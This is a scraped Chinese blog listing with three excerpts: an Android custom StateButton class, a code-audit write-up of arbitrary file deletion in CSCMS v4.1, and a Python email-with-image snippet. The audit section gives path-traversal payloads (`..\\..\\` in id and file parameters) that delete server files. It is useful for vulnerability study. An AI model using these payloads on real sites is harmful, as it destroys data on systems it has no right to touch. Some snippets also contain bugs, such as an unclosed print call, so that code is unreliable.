首页 文章 精选 留言 我的

精选列表

搜索[代码生成],共10000篇文章
优秀的个人博客,低调大师

Android--代码实现自定义Button

版权声明:本文为博主原创文章,转载请标明出处。 https://blog.csdn.net/chaoyu168/article/details/80350654 使用StateButton.java,res/values/attrs.xml import android.content.Context; import android.content.res.ColorStateList; import android.content.res.TypedArray; import android.graphics.drawable.Drawable; import android.graphics.drawable.GradientDrawable; import android.graphics.drawable.StateListDrawable; import android.support.annotation.ColorInt; import android.support.annotation.FloatRange; import android.support.annotation.IntRange; import android.support.v7.widget.AppCompatButton; import android.util.AttributeSet; import com.xiaobai.cloneapp.R; /** * 自定义button */ public class StateButton extends AppCompatButton{ //text color private int mNormalTextColor = 0; private int mPressedTextColor = 0; private int mUnableTextColor = 0; ColorStateList mTextColorStateList; //animation duration private int mDuration = 0; //radius private float mRadius = 0; private boolean mRound; //stroke private float mStrokeDashWidth = 0; private float mStrokeDashGap = 0; private int mNormalStrokeWidth = 0; private int mPressedStrokeWidth = 0; private int mUnableStrokeWidth = 0; private int mNormalStrokeColor = 0; private int mPressedStrokeColor = 0; private int mUnableStrokeColor = 0; //background color private int mNormalBackgroundColor = 0; private int mPressedBackgroundColor = 0; private int mUnableBackgroundColor = 0; private GradientDrawable mNormalBackground; private GradientDrawable mPressedBackground; private GradientDrawable mUnableBackground; private int[][] states; StateListDrawable mStateBackground; public StateButton(Context context) { this(context, null); } public StateButton(Context context, AttributeSet attrs) { this(context, attrs, android.support.v7.appcompat.R.attr.buttonStyle); } public StateButton(Context context, AttributeSet attrs, int defStyleAttr) { super(context, attrs, defStyleAttr); setup(attrs); } private void setup(AttributeSet attrs) { states = new int[4][]; Drawable drawable = getBackground(); if(drawable != null && drawable instanceof StateListDrawable){ mStateBackground = (StateListDrawable) drawable; }else{ mStateBackground = new StateListDrawable(); } mNormalBackground = new GradientDrawable(); mPressedBackground = new GradientDrawable(); mUnableBackground = new GradientDrawable(); //pressed, focused, normal, unable states[0] = new int[] { android.R.attr.state_enabled, android.R.attr.state_pressed }; states[1] = new int[] { android.R.attr.state_enabled, android.R.attr.state_focused }; states[3] = new int[] { -android.R.attr.state_enabled}; states[2] = new int[] { android.R.attr.state_enabled }; TypedArray a = getContext().obtainStyledAttributes(attrs, R.styleable.StateButton); //get original text color as default //set text color mTextColorStateList = getTextColors(); int mDefaultNormalTextColor = mTextColorStateList.getColorForState(states[2], getCurrentTextColor()); int mDefaultPressedTextColor = mTextColorStateList.getColorForState(states[0], getCurrentTextColor()); int mDefaultUnableTextColor = mTextColorStateList.getColorForState(states[3], getCurrentTextColor()); mNormalTextColor = a.getColor(R.styleable.StateButton_normalTextColor, mDefaultNormalTextColor); mPressedTextColor = a.getColor(R.styleable.StateButton_pressedTextColor, mDefaultPressedTextColor); mUnableTextColor = a.getColor(R.styleable.StateButton_unableTextColor, mDefaultUnableTextColor); setTextColor(); //set animation duration mDuration = a.getInteger(R.styleable.StateButton_animationDuration, mDuration); mStateBackground.setEnterFadeDuration(mDuration); mStateBackground.setExitFadeDuration(mDuration); //set background color mNormalBackgroundColor = a.getColor(R.styleable.StateButton_normalBackgroundColor, 0); mPressedBackgroundColor = a.getColor(R.styleable.StateButton_pressedBackgroundColor, 0); mUnableBackgroundColor = a.getColor(R.styleable.StateButton_unableBackgroundColor, 0); mNormalBackground.setColor(mNormalBackgroundColor); mPressedBackground.setColor(mPressedBackgroundColor); mUnableBackground.setColor(mUnableBackgroundColor); //set radius mRadius = a.getDimensionPixelSize(R.styleable.StateButton_radius, 0); mRound = a.getBoolean(R.styleable.StateButton_round, false); mNormalBackground.setCornerRadius(mRadius); mPressedBackground.setCornerRadius(mRadius); mUnableBackground.setCornerRadius(mRadius); //set stroke mStrokeDashWidth = a.getDimensionPixelSize(R.styleable.StateButton_strokeDashWidth, 0); mStrokeDashGap = a.getDimensionPixelSize(R.styleable.StateButton_strokeDashWidth, 0); mNormalStrokeWidth = a.getDimensionPixelSize(R.styleable.StateButton_normalStrokeWidth, 0); mPressedStrokeWidth = a.getDimensionPixelSize(R.styleable.StateButton_pressedStrokeWidth, 0); mUnableStrokeWidth = a.getDimensionPixelSize(R.styleable.StateButton_unableStrokeWidth, 0); mNormalStrokeColor = a.getColor(R.styleable.StateButton_normalStrokeColor, 0); mPressedStrokeColor = a.getColor(R.styleable.StateButton_pressedStrokeColor, 0); mUnableStrokeColor = a.getColor(R.styleable.StateButton_unableStrokeColor, 0); setStroke(); //set background mStateBackground.addState(states[0], mPressedBackground); mStateBackground.addState(states[1], mPressedBackground); mStateBackground.addState(states[3], mUnableBackground); mStateBackground.addState(states[2], mNormalBackground); setBackgroundDrawable(mStateBackground); a.recycle(); } @Override protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) { super.onMeasure(widthMeasureSpec, heightMeasureSpec); setRound(mRound); } /****************** stroke color *********************/ public void setNormalStrokeColor(@ColorInt int normalStrokeColor) { this.mNormalStrokeColor = normalStrokeColor; setStroke(mNormalBackground, mNormalStrokeColor, mNormalStrokeWidth); } public void setPressedStrokeColor(@ColorInt int pressedStrokeColor) { this.mPressedStrokeColor = pressedStrokeColor; setStroke(mPressedBackground, mPressedStrokeColor, mPressedStrokeWidth); } public void setUnableStrokeColor(@ColorInt int unableStrokeColor) { this.mUnableStrokeColor = unableStrokeColor; setStroke(mUnableBackground, mUnableStrokeColor, mUnableStrokeWidth); } public void setStateStrokeColor(@ColorInt int normal, @ColorInt int pressed, @ColorInt int unable){ mNormalStrokeColor = normal; mPressedStrokeColor = pressed; mUnableStrokeColor = unable; setStroke(); } /****************** stroke width *********************/ public void setNormalStrokeWidth(int normalStrokeWidth) { this.mNormalStrokeWidth = normalStrokeWidth; setStroke(mNormalBackground, mNormalStrokeColor, mNormalStrokeWidth); } public void setPressedStrokeWidth(int pressedStrokeWidth) { this.mPressedStrokeWidth = pressedStrokeWidth; setStroke(mPressedBackground, mPressedStrokeColor, mPressedStrokeWidth); } public void setUnableStrokeWidth(int unableStrokeWidth) { this.mUnableStrokeWidth = unableStrokeWidth; setStroke(mUnableBackground, mUnableStrokeColor, mUnableStrokeWidth); } public void setStateStrokeWidth(int normal, int pressed, int unable){ mNormalStrokeWidth = normal; mPressedStrokeWidth = pressed; mUnableStrokeWidth= unable; setStroke(); } public void setStrokeDash(float strokeDashWidth, float strokeDashGap) { this.mStrokeDashWidth = strokeDashWidth; this.mStrokeDashGap = strokeDashWidth; setStroke(); } private void setStroke(){ setStroke(mNormalBackground, mNormalStrokeColor, mNormalStrokeWidth); setStroke(mPressedBackground, mPressedStrokeColor, mPressedStrokeWidth); setStroke(mUnableBackground, mUnableStrokeColor, mUnableStrokeWidth); } private void setStroke(GradientDrawable mBackground, int mStrokeColor, int mStrokeWidth) { mBackground.setStroke(mStrokeWidth, mStrokeColor, mStrokeDashWidth, mStrokeDashGap); } /******************** radius *******************************/ public void setRadius(@FloatRange(from = 0) float radius) { this.mRadius = radius; mNormalBackground.setCornerRadius(mRadius); mPressedBackground.setCornerRadius(mRadius); mUnableBackground.setCornerRadius(mRadius); } public void setRound(boolean round){ this.mRound = round; int height = getMeasuredHeight(); if(mRound){ setRadius(height / 2f); } } public void setRadius(float[] radii){ mNormalBackground.setCornerRadii(radii); mPressedBackground.setCornerRadii(radii); mUnableBackground.setCornerRadii(radii); } /******************** background color **********************/ public void setStateBackgroundColor(@ColorInt int normal, @ColorInt int pressed, @ColorInt int unable){ mNormalBackgroundColor = normal; mPressedBackgroundColor = pressed; mUnableBackgroundColor = unable; mNormalBackground.setColor(mNormalBackgroundColor); mPressedBackground.setColor(mPressedBackgroundColor); mUnableBackground.setColor(mUnableBackgroundColor); } public void setNormalBackgroundColor(@ColorInt int normalBackgroundColor) { this.mNormalBackgroundColor = normalBackgroundColor; mNormalBackground.setColor(mNormalBackgroundColor); } public void setPressedBackgroundColor(@ColorInt int pressedBackgroundColor) { this.mPressedBackgroundColor = pressedBackgroundColor; mPressedBackground.setColor(mPressedBackgroundColor); } public void setUnableBackgroundColor(@ColorInt int unableBackgroundColor) { this.mUnableBackgroundColor = unableBackgroundColor; mUnableBackground.setColor(mUnableBackgroundColor); } /*******************alpha animation duration********************/ public void setAnimationDuration(@IntRange(from = 0)int duration){ this.mDuration = duration; mStateBackground.setEnterFadeDuration(mDuration); } /*************** text color ***********************/ private void setTextColor() { int[] colors = new int[] {mPressedTextColor, mPressedTextColor, mNormalTextColor, mUnableTextColor}; mTextColorStateList = new ColorStateList(states, colors); setTextColor(mTextColorStateList); } public void setStateTextColor(@ColorInt int normal, @ColorInt int pressed, @ColorInt int unable){ this.mNormalTextColor = normal; this.mPressedTextColor = pressed; this.mUnableTextColor = unable; setTextColor(); } public void setNormalTextColor(@ColorInt int normalTextColor) { this.mNormalTextColor = normalTextColor; setTextColor(); } public void setPressedTextColor(@ColorInt int pressedTextColor) { this.mPressedTextColor = pressedTextColor; setTextColor(); } public void setUnableTextColor(@ColorInt int unableTextColor) { this.mUnableTextColor = unableTextColor; setTextColor(); } } <?xml version="1.0" encoding="utf-8"?> <resources> <declare-styleable name="StateButton"> <!--text color--> <attr name="normalTextColor" format="color|reference"/> <attr name="pressedTextColor" format="color|reference"/> <attr name="unableTextColor" format="color|reference"/> <!--stroke width and color, dash width, dash gap--> <attr name="strokeDashWidth" format="dimension|reference"/> <attr name="strokeDashGap" format="dimension|reference"/> <attr name="normalStrokeWidth" format="dimension|reference"/> <attr name="pressedStrokeWidth" format="dimension|reference"/> <attr name="unableStrokeWidth" format="dimension|reference"/> <attr name="normalStrokeColor" format="color|reference"/> <attr name="pressedStrokeColor" format="color|reference"/> <attr name="unableStrokeColor" format="color|reference"/> <!--background color--> <attr name="normalBackgroundColor" format="color|reference"/> <attr name="pressedBackgroundColor" format="color|reference"/> <attr name="unableBackgroundColor" format="color|reference"/> <!--background radius--> <attr name="radius" format="dimension|reference"/> <attr name="round" format="boolean|reference"/> <!--animation duration--> <attr name="animationDuration" format="integer|reference"/> </declare-styleable> <declare-styleable name="StateImageView"> <attr name="normalBackground" format="color|reference"/> <attr name="pressedBackground" format="color|reference"/> <attr name="unableBackground" format="color|reference"/> <!--animation duration--> <attr name="AnimationDuration" format="integer|reference"/> </declare-styleable> </resources> <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="horizontal"> <ImageView android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginLeft="@dimen/dp_20" android:layout_marginTop="@dimen/dp_10" android:layout_marginBottom="@dimen/dp_5" android:src="@drawable/app" /> <TextView android:id="@+id/text_imei" android:layout_width="match_parent" android:layout_height="match_parent" android:layout_marginLeft="@dimen/dp_20" android:layout_marginTop="@dimen/dp_10" android:layout_marginBottom="@dimen/dp_5" android:textSize="20sp" android:text="123"/> <!-- 在根目录写入:xmlns:app="http://schemas.android.com/apk/res-auto" --> <deadline.statebutton.StateButton android:id="@+id/stateButton" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_gravity="center_horizontal" android:text="StateButton" app:radius="5dp" app:round="true" app:animationDuration="200" app:strokeDashGap="2dp" app:strokeDashWidth="5dp" app:normalStrokeWidth="2dp" app:pressedStrokeWidth="2dp" app:unableStrokeWidth="2dp" app:normalStrokeColor="@android:color/white" app:pressedStrokeColor="@android:color/white" app:unableStrokeColor="@android:color/white" app:normalTextColor="@android:color/white" app:pressedTextColor="@android:color/white" app:unableTextColor="@android:color/white" app:normalBackgroundColor="@color/colorPrimaryDark" app:pressedBackgroundColor="@color/colorPrimaryDark" app:unableBackgroundColor="@color/colorPrimaryDark"/> </LinearLayout> Attribute default value xml java normalTextColor original text color normalTextColor setNormalTextColor(int color) pressedTextColor original text color pressedTextColor setPressedTextColor(int color) unableTextColor original text color unableTextColor setUnableTextColor(int color) strokeDashWidth 0 strokeDashWidth setStrokeDash(int dashWidth, int dashGap) strokeDashGap 0 strokeDashGap setStrokeDash(int dashWidth, int dashGap) normalStrokeWidth 0 normalStrokeWidth setNormalStrokeWidth(int widht) pressedStrokeWidth 0 pressedStrokeWidth setPressedStrokeWidth(int widht) unableStrokeWidth 0 unableStrokeWidth setUnableStrokeWidth(int widht) normalStrokeColor 0 normalStrokeColor setNormalStrokeColor(int color) pressedStrokeColor 0 pressedStrokeColor setPressedStrokeColor(int color) unableStrokeColor 0 unableStrokeColor setUnableStrokeColor(int color) normalBackgroundColor 0 normalBackgroundColor setNormalBackgroundColor(int color) pressedBackgroundColor 0 pressedBackgroundColor setPressedBackgroundColor(int color) unableBackgroundColor 0 unableBackgroundColor setUnableBackgroundColor(int color) radius 0 radius setRadius(int radius) / setRadius(float[] radii) round false round setRound(boolean round) animationDuration 0ms animationDuration setAnimationDuration(int duration) 也可以使用框架实现: ButtonStyle

优秀的个人博客,低调大师

代码审计】任意文件删除漏洞实例

任意文件删除漏洞,该漏洞可让攻击者随意删除服务器上的任意文件。 环境搭建: CSCMS:http://www.chshcms.com/ 网站源码版本:Cscms_v4.1正式版(发布日期:2017-06-05) 程序源码下载:https://github.com/chshcms/cscms 漏洞实例一: 漏洞文件位置:\cscms\plugins\sys\admin\Basedb.php 第160-177行: public function del(){ $dir = $this->input->get_post('id',true); if(empty($dir)){ getjson(L('plub_11')); } $dirs = array(); if(!is_array($dir)){ $dirs[] = $dir; }else{ $dirs = $dir; } foreach($dirs as $dir) { deldir(FCPATH.'attachment/backup/'.$dir); } $info['msg'] = L('plub_12'); $info['url'] = site_url('basedb/restore').'?v='.rand(1000,9999); getjson($info,0); } 漏洞利用: 1、 根目录下新建test目录作为测试: 2、 构造参数成功删除test目录 http://127.0.0.1/admin.php/basedb/del POST:id=..\\..\\test 漏洞实例二: 漏洞文件位置:/plugins/sys/admin/Skin.php 第418--440行: public function del(){ $ac = $this->input->get('ac',true); $op = $this->input->get('op',true); $dir = $this->input->get('dirs',true); $file = $this->input->get('file'); if($ac!='mobile') $ac='pc'; if($op!='home' && $op!='user') $op='skins'; if(empty($dir)) getjson(L('plub_27')); $skin_dir = VIEWPATH.$ac.FGF.$op.FGF.$dir.FGF.$file; if (!is_dir($skin_dir)) { //文件 $res=unlink($skin_dir); }else{ //目录 $res=deldir($skin_dir); } if($res){ $info['url'] = site_url('skin').'?ac='.$ac.'&op='.$op.'&v='.rand(1000,9999); $info['msg'] = L('plub_46'); $info['turn'] = 1; getjson($info,0); }else{ getjson(L('plub_28')); } 漏洞利用: 网站根目录下新建1.txt文件作为测试,构造URL成功删除文件 Payload:http://127.0.0.1/admin.php/skin/del?ac=pc&op=skins&dirs=default&file=..\\..\\..\\..\\1.txt 漏洞实例三: 漏洞文件位置:/plugins/sys/admin/Plugins.php 第285-299行: public function del(){ $dir = $this->input->get_post('dir',true); if($dir==''){ getjson(L('plub_del_0'),1); } deldir(FCPATH.'plugins'.FGF.$dir.FGF); //删除配置目录 deldir(CSCMS.$dir.FGF); //删除模板目录 deldir(FCPATH.'tpl/admin/'.$dir.FGF); $info['func'] = __FUNCTION__; $info['msg'] = L('plub_del_1'); getjson($info,0); } 漏洞利用:

优秀的个人博客,低调大师

代码片段】Python发送带图片的邮件

# coding=utf-8 import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.image import MIMEImage msg_from = 'xxxxx@qq.com' # 发送方邮箱 passwd = 'xxxxxxxxxxx' # 填入发送方邮箱的授权码 msg_to = 'xxxx@qq.com' # 收件人邮箱 def send(): subject = "python邮件测试" # 主题 msg = MIMEMultipart('related') content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8') # 正文 # msg = MIMEText(content) msg.attach(content) msg['Subject'] = subject msg['From'] = msg_from msg['To'] = msg_to file = open("QR.png", "rb") img_data = file.read() file.close() img = MIMEImage(img_data) img.add_header('Content-ID', 'imageid') msg.attach(img) try: s = smtplib.SMTP_SSL("smtp.qq.com", 465) # 邮件服务器及端口号 s.login(msg_from, passwd) s.sendmail(msg_from, msg_to, msg.as_string()) print("发送成功" except: print("发送失败") finally: s.quit() 黑夜给了我黑色的眼睛,我却用它寻找光明

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Nacos

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称,一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

用户登录
用户注册